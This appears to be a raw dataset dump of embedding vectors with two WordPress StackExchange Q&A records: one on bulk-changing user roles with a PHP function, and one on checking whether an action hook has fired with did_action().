-0.007415771484375, -0.009765625, -0.052978515625, -0.091552734375, -0.00414276123046875, -0.00841522216796875, -0.04150390625, 0.0293121337890625, -0.0203094482421875, -0.040618896484375, 0.024688720703125, 0.021881103515625, -0.024444580078125, 0.00792694091796875, 0.01318359375, 0.0208282470703125, 0.052581787109375, 0.003688812255859375, 0.0021038055419921875, -0.06561279296875, -0.007843017578125, -0.038177490234375, 0.0499267578125, 0.0067138671875, 0.00870513916015625, -0.031646728515625, 0.00927734375, -0.048583984375, -0.09808349609375, -0.0474853515625, 0.0001595020294189453, -0.0012350082397460938, 0.021148681640625, -0.04791259765625, -0.0028018951416015625, 0.050079345703125, 0.082763671875, 0.0137176513671875, -0.0247344970703125, 0.043670654296875, 0.00753021240234375, -0.062469482421875, -0.0189666748046875, 0.035308837890625, -0.0523681640625, -0.01806640625, 0.016632080078125, 0.008758544921875, 0.004650115966796875, 0.0005898475646972656, 0.0015707015991210938, -0.00958251953125, 0.0007405281066894531, -0.032257080078125, -0.00679779052734375, 0.0011806488037109375, 0.0987548828125, -0.06878662109375, -0.044189453125, 0.024169921875, 0.0009102821350097656, 0.0077362060546875, -0.039886474609375, -0.04083251953125, -0.033477783203125, -0.0036640167236328125, 0.028106689453125, -0.0155029296875, 0.00888824462890625, -0.03350830078125, 0.019500732421875, -0.00868988037109375, 0.0139312744140625, 0.0009198188781738281, 0.026519775390625, -0.01544952392578125, -0.00994110107421875, -0.01074981689453125, 0.031646728515625, -0.0209197998046875, 0.0027980804443359375, -0.0211029052734375, 0.029815673828125, 0.007556915283203125, -0.007328033447265625, 0.03594970703125, -0.02435302734375, 0.0201416015625, 0.06744384765625, 0.0165252685546875, 0.016143798828125, 0.01015472412109375, -0.0020122528076171875, 0.0233917236328125, -0.0197296142578125 ]
d17f876f54e8699e6397fd61d9a1fe505035d9e1
Wordpress Stackexchange Q: How to change role of all users with a specific role to another role? what function can be used to change user role of all users who are currently assigned the role "Customer" to "Editor"? Basically I need to create a cron job doing this daily. I have figured out the cron job part but need help with how to change roles via function. A: Use the following function: function wpse_replace_user_role( $from, $to ) { $args = array( 'role' => $from ); $users = new WP_User_Query( $args ); if ( !empty( $users->get_results() ) ) { foreach( $users->get_results() as $user ) { $u = new WP_User( $user->ID ); $u->remove_role( $from ); $u->add_role( $to ); unset( $u ); } unset( $users ); } } * *$from - query all users with this role *$to - role to be set instead, for each queried user
Q: How to change role of all users with a specific role to another role? what function can be used to change user role of all users who are currently assigned the role "Customer" to "Editor"? Basically I need to create a cron job doing this daily. I have figured out the cron job part but need help with how to change roles via function. A: Use the following function: function wpse_replace_user_role( $from, $to ) { $args = array( 'role' => $from ); $users = new WP_User_Query( $args ); if ( !empty( $users->get_results() ) ) { foreach( $users->get_results() as $user ) { $u = new WP_User( $user->ID ); $u->remove_role( $from ); $u->add_role( $to ); unset( $u ); } unset( $users ); } } * *$from - query all users with this role *$to - role to be set instead, for each queried user
wordpress
{ "language": "en", "length": 143, "provenance": "stackexchange_00019.jsonl.gz:485894", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/302558" }
[ 0.0311431884765625, -0.0182952880859375, -0.03662109375, -0.0093994140625, 0.010650634765625, -0.05926513671875, 0.07244873046875, 0.006595611572265625, 0.0009784698486328125, 0.0265655517578125, 0.02679443359375, -0.015838623046875, 0.026580810546875, -0.04559326171875, 0.0082244873046875, 0.0008206367492675781, -0.0015668869018554688, 0.01519012451171875, -0.0082244873046875, -0.033416748046875, 0.0037384033203125, -0.0227203369140625, -0.0089569091796875, 0.0347900390625, 0.001739501953125, 0.007373809814453125, 0.05706787109375, -0.0005326271057128906, -0.003452301025390625, -0.0213470458984375, 0.01873779296875, -0.002811431884765625, -0.004848480224609375, 0.02203369140625, 0.000012755393981933594, 0.0108795166015625, 0.004100799560546875, 0.0006642341613769531, 0.02764892578125, 0.005489349365234375, 0.0163116455078125, 0.004810333251953125, -0.0243072509765625, 0.0300750732421875, -0.033203125, -0.049163818359375, 0.019317626953125, -0.0017175674438476562, 0.0256500244140625, -0.01490020751953125, 0.03985595703125, 0.003955841064453125, 0.059906005859375, -0.0032482147216796875, -0.0221099853515625, 0.0022411346435546875, -0.03363037109375, 0.025238037109375, 0.0163421630859375, 0.0159454345703125, 0.00970458984375, 0.0134735107421875, -0.00336456298828125, -0.01448822021484375, -0.01123809814453125, -0.00449371337890625, 0.001926422119140625, 0.0266265869140625, -0.0222625732421875, -0.03936767578125, 0.000002205371856689453, 0.0007500648498535156, -0.016693115234375, -0.0083160400390625, -0.03277587890625, 0.01279449462890625, 0.0028667449951171875, 0.0002722740173339844, 0.0230255126953125, 0.00975799560546875, 0.040924072265625, 0.004276275634765625, 0.019622802734375, -0.01146697998046875, 0.01287078857421875, -0.0213775634765625, -0.0030002593994140625, -0.0104522705078125, -0.0430908203125, -0.006847381591796875, -0.023468017578125, -0.006805419921875, -0.04193115234375, -0.0014448165893554688, 0.00039458274841308594, -0.022369384765625, 0.035247802734375, 0.052398681640625, -0.0216522216796875, -0.035858154296875, 0.005802154541015625, -0.0264739990234375, -0.046539306640625, -0.00534820556640625, -0.0047607421875, 0.044586181640625, 0.020538330078125, 0.0213623046875, 0.01788330078125, 0.015960693359375, 0.0069122314453125, 0.00614166259765625, -0.0099334716796875, -0.004337310791015625, -0.002597808837890625, -0.0037136077880859375, -0.037689208984375, 0.0253448486328125, -0.01947021484375, 0.01348876953125, -0.01248931884765625, 0.0081024169921875, 0.03143310546875, -0.080322265625, -0.0217742919921875, -0.05548095703125, -0.046295166015625, -0.015167236328125, -0.00788116455078125, -0.01116943359375, -0.0584716796875, -0.0029449462890625, 0.08892822265625, 0.0865478515625, 0.06939697265625, -0.01560211181640625, 0.0136871337890625, -0.0266265869140625, 0.0012979507446289062, 0.035736083984375, 0.00594329833984375, -0.055816650390625, -0.0163116455078125, 0.03765869140625, 0.03875732421875, 0.020965576171875, 0.0262908935546875, 0.00699615478515625, 0.0106353759765625, 0.0155029296875, -0.044677734375, 0.0253143310546875, -0.01180267333984375, 0.0098419189453125, 0.056854248046875, -0.0020751953125, 0.03839111328125, -0.00812530517578125, 0.0258026123046875, 0.00047516822814941406, -0.0179595947265625, -0.000278472900390625, 0.05755615234375, -0.023406982421875, -0.0230560302734375, -0.0084686279296875, -0.068603515625, -0.00974273681640625, 0.02606201171875, -0.06182861328125, 0.02691650390625, -0.01201629638671875, 0.0292816162109375, 0.023956298828125, 0.02984619140625, 0.061920166015625, -0.04718017578125, 0.0306549072265625, 0.0222015380859375, -0.03076171875, -0.006565093994140625, -0.043670654296875, 0.029998779296875, 0.0174102783203125, -0.01415252685546875, -0.0007295608520507812, -0.01073455810546875, -0.0035037994384765625, 0.034332275390625, 0.00786590576171875, -0.02069091796875, 0.0192108154296875, 0.014007568359375, -0.00794219970703125, -0.0013475418090820312, -0.032806396484375, 0.005340576171875, -0.0011224746704101562, -0.004848480224609375, 0.0214996337890625, 0.088134765625, 0.00455474853515625, 0.0006585121154785156, -0.047698974609375, -0.0936279296875, 0.00196075439453125, -0.0236053466796875, 0.026458740234375, 0.0274200439453125, 0.0234832763671875, 0.004306793212890625, 0.03173828125, -0.017578125, -0.07855224609375, -0.047576904296875, 0.031494140625, 0.003787994384765625, 0.025909423828125, 0.00052642822265625, 0.04156494140625, 0.0033130645751953125, -0.045806884765625, 0.003276824951171875, 0.009185791015625, 0.03564453125, -0.0030689239501953125, -0.01471710205078125, -0.00530242919921875, 0.0726318359375, -0.00882720947265625, 0.055450439453125, 0.006801605224609375, 0.07672119140625, 0.048858642578125, -0.0163116455078125, 0.0238037109375, 0.0157470703125, -0.038909912109375, -0.039703369140625, 0.036834716796875, 0.03564453125, 0.033660888671875, -0.00150299072265625, -0.0020084381103515625, 0.052459716796875, -0.025054931640625, 0.019805908203125, -0.01387786865234375, -0.006927490234375, 0.05145263671875, -0.0177001953125, 0.0343017578125, 0.0150299072265625, -0.02069091796875, -0.0167388916015625, 0.059600830078125, 0.00836181640625, 0.05377197265625, -0.01486968994140625, -0.021942138671875, -0.01548004150390625, -0.07427978515625, -0.014923095703125, -0.03228759765625, -0.044891357421875, -0.02154541015625, -0.02001953125, -0.0214691162109375, -0.020599365234375, -0.0301666259765625, 0.046600341796875, 0.0186614990234375, 0.00882720947265625, 0.01491546630859375, -0.01959228515625, -0.0032482147216796875, -0.0172119140625, -0.0012197494506835938, -0.0158233642578125, 0.006557464599609375, -0.0103607177734375, 0.030670166015625, 0.02142333984375, -0.00943756103515625, -0.006824493408203125, 0.01971435546875, 0.01971435546875, -0.003875732421875, 0.0031375885009765625, -0.036102294921875, 0.016845703125, -0.006488800048828125, -0.021087646484375, 0.033203125, -0.0106658935546875, -0.024688720703125, -0.003269195556640625, -0.03826904296875, 0.0231475830078125, -0.032379150390625, 0.0199432373046875, 0.0533447265625, 0.0164794921875, -0.02056884765625, 0.000011742115020751953, -0.037811279296875, -0.01056671142578125, 0.0267333984375, 0.01175689697265625, -0.0012645721435546875, -0.032958984375, 0.042510986328125, 0.01387786865234375, 0.02911376953125, 0.0111236572265625, -0.025421142578125, 0.0066986083984375, 0.02069091796875, -0.025421142578125, -0.01461029052734375, -0.00276947021484375, -0.059814453125, -0.024688720703125, 0.0086822509765625, -0.03912353515625, 0.00868988037109375, 0.025238037109375, 0.00616455078125, 0.04644775390625, 0.0191192626953125, -0.0186004638671875, 0.050506591796875, -0.0233917236328125, 0.0166168212890625, -0.0153961181640625, 0.005558013916015625, -0.00395965576171875, 0.06488037109375, 0.0009531974792480469, -0.031768798828125, -0.036590576171875, 0.057525634765625, -0.009674072265625, -0.03375244140625, 0.0157012939453125, -0.03271484375, -0.00041675567626953125, -0.0086517333984375, 0.05230712890625, 0.0196075439453125, -0.0161590576171875, 0.0055999755859375, 0.0167083740234375, 0.0028285980224609375, 0.049774169921875, -0.0163421630859375, -0.050537109375, 0.0244293212890625, 0.046295166015625, -0.02496337890625, 0.00028586387634277344, 0.00439453125, -0.025604248046875, 0.0268096923828125, -0.012725830078125, -0.016143798828125, 0.0266571044921875, 0.002349853515625, 0.0161895751953125, 0.024627685546875, 0.007732391357421875, 0.0175323486328125, -0.0125274658203125, 0.005146026611328125, -0.0068817138671875, -0.01181793212890625, 0.03460693359375, 0.00048232078552246094, -0.0025386810302734375, 0.0030155181884765625, -0.0134735107421875, -0.032623291015625, 0.021697998046875, -0.051025390625, -0.086669921875, 0.06317138671875, -0.034759521484375, -0.016357421875, -0.058349609375, -0.0322265625, 0.0035037994384765625, 0.11053466796875, 0.049957275390625, -0.005588531494140625, -0.003520965576171875, -0.0211334228515625, -0.037384033203125, 0.01111602783203125, -0.047576904296875, 0.01045989990234375, -0.03387451171875, -0.0015268325805664062, -0.0223236083984375, 0.0206756591796875, -0.045562744140625, 0.057525634765625, -0.0196380615234375, -0.0282745361328125, 0.037200927734375, -0.06597900390625, 0.01311492919921875, 0.007038116455078125, -0.00009691715240478516, -0.026153564453125, -0.0257568359375, -0.0325927734375, -0.09375, -0.010284423828125, -0.0364990234375, 0.0667724609375, 0.022430419921875, 0.00211334228515625, -0.020599365234375, 0.044677734375, 0.0172119140625, 0.0233154296875, -0.013092041015625, -0.017730712890625, 0.00794219970703125, 0.0036754608154296875, -0.011871337890625, -0.0015287399291992188, -0.004856109619140625, -0.0233001708984375, -0.01197052001953125, -0.0029773712158203125, -0.045440673828125, 0.00531005859375, -0.022247314453125, -0.006938934326171875, -0.04864501953125, -0.0281982421875, -0.01031494140625, 0.03509521484375, -0.0230712890625, 0.0209503173828125, -0.051300048828125, -0.07427978515625, 0.038604736328125, -0.042724609375, -0.01250457763671875, 0.01226806640625, 0.050872802734375, 0.01194000244140625, -0.0150909423828125, 0.007297515869140625, 0.0004680156707763672, 0.03076171875, 0.007083892822265625, 0.0300445556640625, 0.0261077880859375, -0.0167083740234375, 0.0016632080078125, 0.011260986328125, -0.00815582275390625, -0.0033359527587890625, 0.02667236328125, 0.03155517578125, -0.0267333984375, 0.0289764404296875, 0.021514892578125, -0.01824951171875, -0.038482666015625, -0.008697509765625, -0.01161956787109375, 0.02996826171875, 0.029144287109375, 0.01018524169921875, 0.0079498291015625, -0.01474761962890625, -0.041046142578125, -0.004604339599609375, -0.018218994140625, -0.0246429443359375, 0.014434814453125, -0.00356292724609375, -0.00426483154296875, 0.0145111083984375, -0.009307861328125, -0.02593994140625, 0.0014848709106445312, -0.004199981689453125, 0.0418701171875, -0.039154052734375, 0.0009555816650390625, -0.04541015625, -0.004398345947265625, 0.020751953125, 0.0076446533203125, -0.0416259765625, 0.019134521484375, -0.0157012939453125, 0.039093017578125, 0.01898193359375, -0.01031494140625, 0.049468994140625, 0.00618743896484375, 0.0007505416870117188, -0.0124664306640625, -0.043487548828125, 0.0010833740234375, -0.035797119140625, 0.01690673828125, 0.030731201171875, -0.0290679931640625, 0.005947113037109375, 0.026031494140625, 0.042938232421875, -0.016357421875, -0.018707275390625, 0.07440185546875, 0.057891845703125, -0.00102996826171875, -0.005794525146484375, 0.05731201171875, -0.033203125, -0.002613067626953125, -0.0014514923095703125, -0.0279541015625, 0.0133209228515625, 0.042144775390625, 0.03076171875, 0.038421630859375, -0.00458526611328125, -0.03228759765625, -0.0259552001953125, -0.0016012191772460938, 0.0289154052734375, -0.0430908203125, -0.06500244140625, -0.038238525390625, 0.03985595703125, 0.050537109375, -0.0526123046875, 0.0189971923828125, -0.0308074951171875, 0.00946807861328125, 0.007762908935546875, -0.0059967041015625, -0.0206146240234375, -0.0243988037109375, -0.0127105712890625, -0.0687255859375, -0.0131072998046875, 0.007598876953125, -0.01373291015625, -0.00951385498046875, -0.00548553466796875, -0.05023193359375, 0.038055419921875, -0.0152587890625, 0.056182861328125, -0.0516357421875, -0.0099639892578125, -0.072509765625, -0.00473785400390625, 0.0545654296875, 0.04736328125, -0.07659912109375, 0.01088714599609375, -0.07879638671875, 0.002742767333984375, -0.0537109375, -0.061767578125, -0.045501708984375, -0.0002319812774658203, 0.036163330078125, 0.013092041015625, 0.00655364990234375, -0.04473876953125, 0.0036830902099609375, 0.007686614990234375, 0.04498291015625, 0.042572021484375, -0.0186309814453125, 0.058349609375, -0.00353240966796875, 0.007293701171875, 0.004299163818359375, 0.0203399658203125, -0.0131072998046875, 0.0006074905395507812, -0.0243682861328125, -0.0035610198974609375, 0.0174713134765625, -0.0120391845703125, 0.000006020069122314453, 0.006488800048828125, 0.08056640625, 0.002582550048828125, 0.03631591796875, -0.0028057098388671875, 0.016082763671875, -0.0307769775390625, -0.052642822265625, -0.034637451171875, 0.0259552001953125, -0.01058197021484375, -0.012847900390625, 0.04571533203125, -0.011138916015625, 0.01015472412109375, 0.00035834312438964844, -0.035888671875, 0.0181732177734375, 0.02325439453125, -0.05078125, 0.041259765625, 0.054779052734375, -0.01047515869140625, 0.031341552734375, -0.0175018310546875, -0.0033969879150390625, 0.0188751220703125, -0.03265380859375, 0.008331298828125, 0.033782958984375, 0.00504302978515625, -0.034423828125, 0.02215576171875, -0.0184326171875, -0.00231170654296875, 0.0190277099609375, 0.0782470703125, 0.05328369140625, -0.12054443359375, 0.038482666015625, 0.0030345916748046875, 0.006103515625, 0.0284423828125, -0.0004515647888183594, -0.031585693359375, -0.061309814453125, 0.04534912109375, -0.035858154296875, -0.0103302001953125, 0.013885498046875, -0.02215576171875, -0.023193359375, 0.0013132095336914062, -0.0238189697265625, 0.0279998779296875, 0.06268310546875, 0.024139404296875, -0.032928466796875, 0.07391357421875, -0.0055999755859375, 0.011871337890625, 0.0174560546875, -0.0184173583984375, -0.0640869140625, 0.0006270408630371094, 0.00720977783203125, -0.0372314453125, -0.019317626953125, -0.0271148681640625, 0.0243377685546875, 0.02099609375, -0.018463134765625, -0.0237579345703125, 0.025848388671875, -0.033111572265625, -0.07464599609375, -0.06573486328125, -0.005313873291015625, 0.030303955078125, -0.06884765625, 0.044830322265625, -0.03155517578125, -0.0208282470703125, -0.00785064697265625, -0.03619384765625, 0.025665283203125, 0.005519866943359375, -0.006458282470703125, 0.0268707275390625, 0.0280914306640625, -0.01202392578125, 0.008544921875, 0.01216888427734375, -0.054412841796875, -0.0572509765625, 0.01441192626953125, -0.054840087890625, 0.0027599334716796875, 0.0094451904296875, -0.035858154296875, 0.10479736328125, -0.01425933837890625, 0.0136871337890625, 0.032928466796875, 0.031585693359375, -0.035919189453125, 0.00836944580078125, -0.0411376953125, 0.056671142578125, 0.01219940185546875, 0.0355224609375, -0.0004405975341796875, 0.0087127685546875, 0.016021728515625, 0.004608154296875, 0.03631591796875, 0.022796630859375, -0.05194091796875, -0.0295257568359375, -0.0187225341796875, 0.016754150390625, -0.0027027130126953125, 0.06781005859375, -0.011016845703125, 0.01352691650390625, -0.0049591064453125, -0.0404052734375, 0.03204345703125, -0.0648193359375, -0.03253173828125, 0.004673004150390625, 0.038421630859375, 0.05255126953125, -0.0013971328735351562, 0.049835205078125, -0.03997802734375, -0.0033206939697265625, 0.04901123046875, -0.01293182373046875, 0.00650787353515625, 0.034698486328125, 0.03204345703125, 0.01287078857421875, 0.00446319580078125, -0.02288818359375, 0.051910400390625, -0.0015716552734375, 0.007411956787109375, 0.006046295166015625, 0.01141357421875, 0.0137176513671875, 0.006160736083984375, -0.0158233642578125, 0.01776123046875, 0.01029205322265625, 0.034881591796875, 0.059234619140625, 0.01023101806640625, 0.0025920867919921875, 0.044464111328125, 0.052520751953125, 0.047271728515625, -0.0498046875, 0.0020294189453125, 0.030059814453125, 0.0283355712890625, 0.01335906982421875, -0.0113983154296875, 0.039276123046875, -0.06634521484375, -0.0218505859375, -0.01038360595703125, 0.0137176513671875, 0.005767822265625, -0.0230712890625, -0.0119476318359375, -0.005046844482421875, 0.0032138824462890625, 0.052032470703125, -0.0162506103515625, -0.017059326171875, 0.0018787384033203125, -0.0167388916015625, 0.020599365234375, 0.0018548965454101562, 0.08740234375, 0.0194854736328125, 0.037017822265625, 0.01470947265625, -0.0124664306640625, -0.06494140625, 0.0240325927734375, -0.061981201171875, -0.0170745849609375, 0.009002685546875, -0.006458282470703125, -0.007495880126953125, -0.0016384124755859375, -0.0016527175903320312, -0.0034084320068359375, -0.0164031982421875, 0.002925872802734375, -0.0199737548828125, 0.00217437744140625, -0.0088348388671875, 0.0057220458984375, 0.00887298583984375, 0.007320404052734375, -0.033203125, 0.07244873046875, 0.0084686279296875, -0.0191802978515625, 0.049774169921875, -0.0157928466796875, -0.0081939697265625, 0.0054931640625, -0.006557464599609375, 0.0264129638671875, 0.0106658935546875, -0.048858642578125, -0.002105712890625, -0.04888916015625, -0.0380859375, 0.030029296875, 0.03314208984375, -0.023101806640625, 0.040924072265625, 0.015533447265625, -0.018218994140625, 0.021392822265625, 0.01123046875, -0.017852783203125, 0.005214691162109375, 0.0224761962890625, -0.024627685546875, -0.0170440673828125, -0.029876708984375, 0.0006804466247558594, 0.0341796875, 0.0089263916015625, 0.03399658203125, -0.01153564453125, 0.018646240234375, -0.03802490234375, 0.0256195068359375, -0.036956787109375, -0.053070068359375, 0.06414794921875, 0.01264190673828125, -0.00940704345703125, -0.005523681640625, -0.011749267578125, 0.0108642578125, 0.036895751953125, -0.0066070556640625, 0.0026035308837890625, -0.01126861572265625, 0.024322509765625, 0.01432037353515625, 0.0362548828125, -0.018218994140625, -0.01654052734375, -0.03985595703125, -0.00873565673828125, 0.049285888671875, 0.0311737060546875, -0.020294189453125, 0.03948974609375, -0.00746917724609375, -0.01371002197265625, -0.0231475830078125, 0.0008864402770996094, -0.05712890625, 0.0196075439453125, 0.01181793212890625, -0.01065826416015625, 0.0198822021484375, -0.0057525634765625, -0.024322509765625, 0.025299072265625, -0.005069732666015625, 0.01015472412109375, -0.0311279296875, -0.007633209228515625, 0.044891357421875, 0.04156494140625, 0.00927734375, 0.013580322265625, 0.022247314453125, -0.0249786376953125, -0.04107666015625, -0.025787353515625, -0.022918701171875, -0.00849151611328125, -0.00977325439453125, 0.01800537109375, 0.010101318359375, -0.050201416015625, -0.0418701171875, 0.00557708740234375, 0.04827880859375, 0.0302276611328125, -0.1009521484375, 0.041290283203125, -0.00629425048828125, 0.06768798828125, -0.006298065185546875, -0.0699462890625, 0.05230712890625, 0.08038330078125, -0.0270233154296875, -0.0003094673156738281, -0.0201263427734375, -0.06329345703125, -0.04473876953125, -0.005405426025390625, 0.02642822265625, 0.020172119140625, -0.0182647705078125, 0.00189208984375, -0.046417236328125, 0.044708251953125, -0.075927734375, -0.021240234375, -0.01678466796875, 0.0170440673828125, -0.0004911422729492188, -0.046112060546875, 0.01546478271484375, -0.037750244140625, -0.0296630859375, -0.022216796875, 0.016937255859375, 0.03216552734375, -0.01187896728515625, -0.0277862548828125, 0.08807373046875, -0.0285491943359375, -0.00015485286712646484, -0.050567626953125, 0.0077972412109375, -0.0038852691650390625, -0.0086822509765625, -0.0189666748046875, -0.0034618377685546875, -0.005290985107421875, 0.031097412109375, 0.01325225830078125, 0.0217132568359375, 0.0010280609130859375, 0.031646728515625, -0.02447509765625, 0.039886474609375, 0.041015625, -0.004741668701171875, 0.0181121826171875, 0.0144500732421875, 0.009918212890625, 0.052276611328125, -0.006206512451171875, -0.0433349609375, -0.0204925537109375, -0.07086181640625, -0.046600341796875, -0.002536773681640625, -0.01324462890625, -0.0156707763671875, 0.1009521484375, 0.06036376953125, 0.0213470458984375, -0.0287017822265625, -0.0298004150390625, -0.0018796920776367188, 0.025665283203125, 0.0006146430969238281, -0.006031036376953125, -0.034820556640625, -0.0022563934326171875, -0.01018524169921875, -0.0579833984375, 0.00322723388671875, 0.01959228515625, -0.06494140625, 0.02099609375, -0.0139007568359375, -0.0386962890625, -0.0221099853515625, 0.044219970703125, 0.036468505859375, -0.053466796875, -0.0151214599609375, -0.0106658935546875, -0.007602691650390625, -0.0085296630859375, -0.032379150390625, -0.0031299591064453125, 0.01456451416015625, -0.0390625, 0.0213775634765625, -0.009979248046875, 0.023529052734375, -0.0556640625, -0.0004930496215820312, -0.006622314453125, 0.02105712890625, -0.003337860107421875, 0.0243377685546875, 0.014923095703125, 0.029388427734375, 0.004589080810546875, 0.0225830078125, -0.03729248046875, 0.0129547119140625, -0.0377197265625, 0.027130126953125, 0.0023193359375, 0.00925445556640625, 0.06060791015625, -0.0185546875, 0.018798828125, 0.028350830078125, 0.0196075439453125, -0.01052093505859375, 0.0218353271484375, 0.0214080810546875, -0.0012521743774414062, 0.0008826255798339844 ]
47c437111d43342577383ecafa0a8ee8e15d454c
Wordpress Stackexchange Q: How to check if an action is already fired? How to check if an action is already fired in a function for example: function foo() { // checking if the action 'wp' is fired if( !action_fired('wp') ) { trigger_error('invalid call'); return; } if( is_front_page() ) { // Do something } } I want to check that because: * *WordPress conditional tags like is_front_page won't work being called before the 'wp' hook. *Still, these conditional tags can be called before 'wp' without any warning or notices So writing a function like foo(), I want to ensure it is called properly by throwing an error if the 'wp' action hasn't fired at that time. A: How to check if an action is already fired? The did_action( $tag) function returns the number of times the $tag action hook has fired.
Q: How to check if an action is already fired? How to check if an action is already fired in a function for example: function foo() { // checking if the action 'wp' is fired if( !action_fired('wp') ) { trigger_error('invalid call'); return; } if( is_front_page() ) { // Do something } } I want to check that because: * *WordPress conditional tags like is_front_page won't work being called before the 'wp' hook. *Still, these conditional tags can be called before 'wp' without any warning or notices So writing a function like foo(), I want to ensure it is called properly by throwing an error if the 'wp' action hasn't fired at that time. A: How to check if an action is already fired? The did_action( $tag) function returns the number of times the $tag action hook has fired.
wordpress
{ "language": "en", "length": 138, "provenance": "stackexchange_00019.jsonl.gz:485898", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/302577" }
[ 0.0501708984375, 0.050140380859375, -0.056549072265625, -0.064453125, 0.07012939453125, -0.027496337890625, 0.01580810546875, -0.01763916015625, -0.0012845993041992188, -0.0129852294921875, -0.068359375, 0.017913818359375, 0.0014581680297851562, -0.01568603515625, 0.0263824462890625, -0.050048828125, 0.029998779296875, -0.0197906494140625, 0.03533935546875, -0.01629638671875, 0.0250396728515625, 0.0086822509765625, 0.01354217529296875, 0.0765380859375, 0.01195526123046875, -0.038116455078125, 0.04974365234375, -0.01123809814453125, 0.035888671875, 0.00519561767578125, 0.0255279541015625, -0.0232696533203125, -0.005138397216796875, 0.0565185546875, -0.0357666015625, -0.0159454345703125, -0.00814056396484375, 0.0287628173828125, 0.01425933837890625, 0.024810791015625, 0.0300140380859375, -0.0180511474609375, -0.007205963134765625, 0.0136871337890625, -0.0291595458984375, -0.04803466796875, 0.06646728515625, -0.00998687744140625, -0.014404296875, 0.04937744140625, 0.006519317626953125, -0.026580810546875, 0.0006732940673828125, 0.02337646484375, -0.005859375, -0.02276611328125, -0.04547119140625, 0.004573822021484375, 0.0182342529296875, 0.0628662109375, 0.01067352294921875, -0.01666259765625, -0.003955841064453125, -0.0648193359375, -0.01293182373046875, 0.003490447998046875, -0.016326904296875, 0.016845703125, 0.0013589859008789062, -0.0178070068359375, -0.0151824951171875, -0.00782012939453125, -0.033111572265625, 0.039031982421875, 0.00870513916015625, -0.0426025390625, 0.0070037841796875, -0.0178070068359375, 0.0230865478515625, 0.06561279296875, -0.033447265625, -0.0197601318359375, -0.0274505615234375, -0.00806427001953125, 0.0019311904907226562, 0.03350830078125, -0.030029296875, 0.004444122314453125, -0.02899169921875, -0.0291595458984375, -0.0298309326171875, -0.0007328987121582031, -0.01358795166015625, -0.056732177734375, -0.0289306640625, -0.031951904296875, 0.01336669921875, 0.053802490234375, -0.06488037109375, -0.037445068359375, -0.023895263671875, 0.00440216064453125, -0.048248291015625, -0.0160369873046875, 0.007045745849609375, 0.10137939453125, 0.01079559326171875, 0.0142059326171875, 0.00402069091796875, -0.022247314453125, 0.0138397216796875, -0.04473876953125, -0.013885498046875, -0.01325225830078125, -0.00736236572265625, 0.0021152496337890625, -0.038299560546875, 0.01348114013671875, -0.0150146484375, 0.00557708740234375, 0.0174713134765625, 0.01244354248046875, 0.0279541015625, -0.020050048828125, 0.02630615234375, 0.0245208740234375, -0.0245361328125, -0.039398193359375, 0.027130126953125, 0.0338134765625, -0.0279388427734375, 0.01107025146484375, 0.010284423828125, -0.03948974609375, -0.042694091796875, -0.0225830078125, 0.0237579345703125, 0.041168212890625, -0.005096435546875, 0.008880615234375, -0.0034503936767578125, -0.04205322265625, -0.0226898193359375, -0.0086517333984375, 0.0030155181884765625, 0.024383544921875, 0.0091705322265625, -0.00522613525390625, 0.002475738525390625, -0.05218505859375, 0.047454833984375, -0.061920166015625, 0.0192413330078125, 0.00823211669921875, 0.029754638671875, 0.0266571044921875, 0.0254364013671875, -0.0038814544677734375, -0.018096923828125, 0.007556915283203125, -0.0016031265258789062, -0.0275421142578125, -0.00981903076171875, -0.037506103515625, -0.058868408203125, 0.03387451171875, -0.036407470703125, -0.003925323486328125, 0.0236358642578125, 0.05047607421875, 0.00473785400390625, 0.0289764404296875, 0.049560546875, 0.0004286766052246094, -0.028106689453125, -0.0294036865234375, 0.0154876708984375, 0.008453369140625, 0.04248046875, 0.003108978271484375, -0.04034423828125, -0.0251922607421875, 0.1064453125, -0.052398681640625, -0.0413818359375, -0.00281524658203125, 0.017425537109375, 0.035919189453125, 0.015411376953125, 0.01654052734375, -0.00007265806198120117, 0.0175018310546875, -0.0226287841796875, 0.0057373046875, -0.003520965576171875, -0.023651123046875, 0.01387786865234375, -0.002880096435546875, -0.00829315185546875, 0.0088653564453125, 0.06304931640625, 0.021697998046875, 0.020843505859375, -0.040740966796875, -0.08526611328125, 0.0262603759765625, -0.0343017578125, 0.0482177734375, 0.0018157958984375, 0.01251220703125, 0.0157318115234375, 0.01244354248046875, -0.0269927978515625, -0.0002582073211669922, -0.0190887451171875, 0.03179931640625, -0.03924560546875, -0.0117950439453125, -0.0157012939453125, 0.0189971923828125, -0.01253509521484375, 0.00015866756439208984, -0.032318115234375, -0.0238189697265625, 0.06585693359375, -0.0511474609375, -0.0120697021484375, -0.061859130859375, 0.01531219482421875, -0.0193328857421875, -0.05816650390625, 0.07598876953125, 0.0196380615234375, 0.038299560546875, -0.009246826171875, -0.018463134765625, -0.007106781005859375, -0.0848388671875, 0.0206756591796875, 0.05596923828125, 0.041778564453125, 0.032073974609375, 0.0192718505859375, 0.03070068359375, 0.02740478515625, -0.06829833984375, -0.00250244140625, 0.0142822265625, -0.0007491111755371094, 0.022369384765625, -0.050567626953125, -0.00031065940856933594, 0.030303955078125, -0.0130462646484375, -0.0176544189453125, 0.037200927734375, -0.006900787353515625, -0.04638671875, 0.0009679794311523438, 0.01438140869140625, 0.0183258056640625, -0.03961181640625, -0.038970947265625, 0.001373291015625, 0.0396728515625, -0.023773193359375, 0.01163482666015625, 0.00873565673828125, -0.0023403167724609375, 0.0082855224609375, 0.019378662109375, -0.052001953125, -0.00820159912109375, 0.04693603515625, 0.04351806640625, 0.003108978271484375, -0.01517486572265625, -0.0233917236328125, -0.0265960693359375, 0.019378662109375, -0.055084228515625, 0.00125885009765625, -0.039093017578125, -0.0216827392578125, -0.02288818359375, -0.004520416259765625, 0.0101165771484375, -0.0487060546875, 0.043182373046875, -0.001537322998046875, 0.02825927734375, -0.0018100738525390625, -0.034271240234375, 0.06097412109375, 0.01056671142578125, -0.046661376953125, -0.047210693359375, -0.00327301025390625, 0.034576416015625, -0.0113677978515625, -0.013214111328125, 0.07171630859375, 0.01971435546875, 0.002872467041015625, -0.014373779296875, 0.00966644287109375, -0.00838470458984375, -0.0035305023193359375, -0.033416748046875, -0.0176239013671875, -0.052978515625, -0.0093841552734375, 0.044036865234375, 0.072509765625, 0.00800323486328125, -0.03155517578125, 0.0146484375, 0.050506591796875, -0.058135986328125, -0.07489013671875, 0.0184173583984375, -0.05926513671875, 